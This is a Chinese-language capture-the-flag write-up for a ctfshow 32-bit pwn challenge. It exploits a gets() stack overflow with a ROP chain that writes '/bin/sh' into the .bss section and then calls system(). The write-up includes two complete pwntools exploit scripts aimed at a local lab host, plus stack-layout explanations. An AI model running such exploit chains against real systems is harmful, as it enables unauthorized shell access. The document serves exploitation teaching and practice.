1. 分析程序
首先檢查程序相關保護,發現程序為32位且只開啟了一個NX保護
checksec pwn
使用IDA進行逆向分析代碼,查看漏洞觸發點:
在main函數中,有一個ctfshow函數,這里我們跟進ctfshow()
????????發現存在一個gets()函數,此函數寫法存在漏洞,我們可以輸入任意長度的字符串,進而棧溢出。這里需要達到溢出的地址為offect=0x6c+4
- 當程序執行到
gets()
時:
- 程序會阻塞等待用戶輸入
- 用戶通過鍵盤(或輸入重定向)輸入數據
- 它可以無限讀取,不會判斷上限,可以包含空格,以回車結束讀取。
- 輸入的數據會被原樣復制到
buf
指向的內存中
????????同時我們注意到,程序存在一個函數hint(),但是hint()函數只有system系統函數,沒有了“/bin/sh”等敏感字符串,這時候我們就要想辦法寫入“/bin/sh”
????????先運行程序,查看程序可寫段,發現在0x804b000-0x804c000段存在讀寫權限(rw),這時我們可以通過get將惡意代碼寫入這個地址段上,然后getshell。
獲取system以及get函數的地址:0x08048450、0x08048420
objdump -d -t .plt pwn | grep systemobjdump -d -t .plt pwn | grep gets
????????buffer地址選擇,這里我們可以直接找到一個參數buf2,我們也可以直接寫在地址上,只要寫入的范圍不超過0x804b000-0x804c000即可,這里我看到有個博主的博客有人提問,為什么博主將buf2的地址設置為0x804c000-16,另外一個師傅說大于8可以,小于8就不行了。原因就是寫入范圍不能超過0x804b000-0x804c000。
2. 漏洞編寫
首先確定基本信息
from pwn import *
context(arch="i386",os="linux")
io = remote("192.168.79.135",10001)
????????接著構造payload信息,需要計算偏移量,system函數的地址、相關占位符、以及sh的地址。這里我們可以構造兩個payload
poc1:
payload = cyclic(0x6c+4) + p32(gets) + p32(system) + p32(buffer) + p32(buffer)
- p32(gets):這是 gets() 函數的地址,我們將覆蓋函數返回地址為 gets() 函數的地址,這樣在程序返回時會跳轉到 gets() 函數執行,我們就可以利用 gets() 函數從輸入中獲取數據。
- p32(system):這是 system() 函數的地址,我們將覆蓋 gets() 函數的返回地址為 system() 函數的地址,這樣在 gets() 函數執行完畢后,程序會繼續執行 system() 函數。
poc2:
payload = cyclic(0x6c+4) + p32(gets) + p32(pop_ebx) + p32(buffer) + p32(system)
+ 'aaaa' + p32(buffer)
cyclic(0x6c+4)
:通常是用來填充緩沖區和覆蓋返回地址的填充數據,0x6c+4
即偏移量,保證覆蓋到返回地址。p32(gets)
:將gets
函數地址壓入棧,準備調用gets(buf2)
,即讓程序從標準輸入讀入數據到緩沖區buf2
。p32(pop_ebx)
:這里的pop_ebx
是一個地址,指向一條pop ebx; ret
或類似指令的片段(gadget)。這條gadgets用來彈出棧中的一個值到ebx
寄存器,并返回。p32(buf2)
:棧上的參數,給pop_ebx
彈出到ebx
中,通常是gets
的參數,即gets(buf2)
。p32(system)
:調用system
函數地址,目的是執行system(buf2)
,即執行剛剛通過gets
輸入的命令。'aaaa'
:填充參數,可能是為了棧對齊或占位。p32(buf2)
:作為system
的參數。
"/bin/sh"與"sh"區別:
system("/bin/sh") :
- 在Linux和類Unix系統中, /bin/sh 通常是一個符號鏈接,指向系統默認的shell程序(如Bash或Shell)。因此,使用 system("/bin/sh") 會啟動指定的shell程序并在新的子進程中執行
- 這種方式可以確保使用系統默認的shell程序執行命令,因為 /bin/sh 鏈接通常指向默認shell的可執行文件
system("sh"):
- 使用 system("sh") 會直接啟動一個名為 sh 的shell程序,并在新的子進程中執行
- 這種方式假設系統的環境變量 $PATH 已經配置了能夠找到 sh 可執行文件的路徑,否則可能會導致找不到 sh 而執行失敗
完整的payload如下:
payload1:
from pwn import *
p = remote('192.168.79.135', 10001)
system_addr = 0x8048450
buf2_addr = 0x804B060+10
gets_addr = 0x8048420
pop_ebx = 0x8048409
payload = b'a'*(0x6c+4) + p32(gets_addr) + p32(system_addr) + p32(buf2_addr) + p32(buf2_addr)
print(payload)
p.sendline(payload)
p.sendline(b"/bin/sh")
p.interactive()
payload2:
from pwn import *
p = remote('192.168.79.135', 10001)
system_addr = 0x8048450
buf2_addr = 0x804B000+10
gets_addr = 0x8048420
pop_ebx = 0x8048409
payload = b'a'*(0x6C+4) + p32(gets_addr) + p32(pop_ebx) + p32(buf2_addr) +p32(system_addr) + b'aaaa' + p32(buf2_addr)
print(payload)
p.sendline(payload)
p.sendline(b"/bin/sh")
p.interactive()
3. 漏洞驗證
????????服務端啟動相關程序,掛載至本地的10001端口上:sudo socat TCP4-LISTEN:10001,fork EXEC:./pwn
????????攻擊端運行編寫好的程序,可以看到獲取了服務端的權限
4. 總結
4.1. 利用poc1
為什么
"/bin/sh"
要第二次發送?
- 第一次發送
payload
:覆蓋棧,調用gets(buf2)
。- 第二次發送
"/bin/sh"
:gets()
會等待輸入,寫入buf2
,使其成為system()
的參數。
為什么
buf2
能同時作為gets()
和system()
的參數?
gets(buf2)
:
buf2
是gets()
的參數,表示輸入寫入的目標地址。- 用戶輸入
"/bin/sh"
后,buf2
存儲了該字符串。system(buf2)
:
- 此時
buf2
已經是"/bin/sh"
的地址,因此system()
可以正確執行。
關鍵點:
buf2
是一個 固定可寫地址(如.bss
段),兩次使用的是同一地址的不同用途:
- 第一次:
gets()
寫入數據的目標地址。- 第二次:
system()
讀取字符串的地址。
4.2. 利用poc2
pop ebx
是必須的嗎?
- 這里用于清理棧(彈出
buf2
),避免干擾system()
的參數讀取。- 如果去掉
pop ebx
,棧會錯位,導致system()
讀取錯誤參數。
為什么需要
pop ebx
?
gets()
的調用約定:
在cdecl
約定下,gets()
的參數由調用者清理(即add esp, 4
)。
但攻擊者無法直接執行代碼,只能通過 ROP 鏈模擬棧平衡。pop ebx
的作用:
彈出gets()
的參數buf2
,使棧指針ESP
指向system()
的返回地址,確保system()
讀取正確的參數。
步驟 | 棧變化 | 關鍵操作 |
發送 | 覆蓋返回地址為 | 劫持控制流 |
發送 | 寫入 | 準備 參數 |
返回 | 跳轉到 | 清理棧 |
| 彈出 | 調整棧指針 |
調用 | 讀取 作為參數 | 執行 |
假設目標函數的棧幀如下:
發送 payload后,棧被覆蓋